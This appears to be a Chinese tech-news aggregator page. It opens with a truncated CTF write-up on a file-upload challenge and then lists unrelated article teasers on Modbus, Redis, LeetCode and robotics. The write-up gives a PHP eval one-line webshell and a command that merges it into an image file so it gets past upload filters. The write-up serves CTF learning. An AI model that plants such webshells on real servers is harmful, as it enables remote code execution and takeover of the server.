CTF做题笔记--[极客大挑战 2019]Upload1
news2026/3/18 7:28:14
一切的训练都是为了实战，勿做空谈家！！！相关知识点速查总结：【WEB】文件上传 | 狼组安全团队公开知识库上传绕过：文件上传绕过速查 - FreeBuf网络安全行业门户插曲先上传一个php文件，报错说明对后缀名或文件类型进行了检测。上传图片马试试，图片马制作：#创一个文件夹，其中有一个图片文件haha.png, 一个木马文件xixi.php(内容为：?php @eval($_POST['rc']);?), 在文件所在终端执行如下命令： copy haha.png/b+xixi.php/a woshi.png //"woshi.png"是随便取名的，也是要上传的图片马传入之后，出现警告，说文件中包含'?',说明对图片文件进行了读取识别。需要构造不含"?"的木马才行：l
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网络编程（Modbus进阶）
思维导图 Modbus RTU（先学一点理论）
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最近正值期末周，有很多同学在写期末Java web作业时，运行tomcat出现乱码问题，经过多次解决与研究，我做了如下整理：
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利用最小二乘法找圆心和半径
#include <iostream>
#include <vector>
#include <cmath>
#include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构
struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {}
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使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明
如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看
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XML Group端口详解
在XML数据映射过程中，经常需要对数据进行分组聚合操作。例如，当处理包含多个物料明细的XML文件时，可能需要将相同物料号的明细归为一组，或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码，增加了开…
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LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造，完美适配AGV和无人叉车。同时，集成以太网与语音合成技术，为各类高级系统（如MES、调度系统、库位管理、立库等）提供高效便捷的语音交互体验。
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(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)
题目：3442. 奇偶频次间的最大差值 I 思路 ：哈希，时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况，哈希表这里用数组即可实现。
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class Solution {
public:int maxDifference(string s) {int a[26]…
【大模型RAG】拍照搜题技术架构速览：三层管道、两级检索、兜底大模型
摘要
拍照搜题系统采用“三层管道（多模态 OCR → 语义检索 → 答案渲染）、两级检索（倒排 BM25 向量 HNSW）并以大语言模型兜底”的整体框架： 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后，分别用…
【Axure高保真原型】引导弹窗
今天和大家中分享引导弹窗的原型模板，载入页面后，会显示引导弹窗，适用于引导用户使用页面，点击完成后，会显示下一个引导弹窗，直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…
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龙虎榜——20250610
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观成科技：隐蔽隧道工具Ligolo-ng加密流量分析
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一个M-pard（铭豹）扩展坞的网卡突然无法识别了，扩展出来的三个USB接口正常。…
未来机器人的大脑：如何用神经网络模拟器实现更智能的决策？
编辑：陈萍萍的公主一点人工一点智能 未来机器人的大脑：如何用神经网络模拟器实现更智能的决策？RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战，在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…
Linux应用开发之网络套接字编程(实例篇)
服务端与客户端单连接
服务端代码
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <arpa/inet.h>
#include <pthread.h>
…
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华为云ModelArts：重塑AI开发流程的“智能引擎”与“创新加速器”！
在人工智能浪潮席卷全球的2025年，企业拥抱AI的意愿空前高涨，但技术门槛高、流程复杂、资源投入巨大的现实，却让许多创新构想止步于实验室。数据科学家…
深度学习在微纳光子学中的应用
深度学习在微纳光子学中的主要应用方向
深度学习与微纳光子学的结合主要集中在以下几个方向：
逆向设计 通过神经网络快速预测微纳结构的光学响应，替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。
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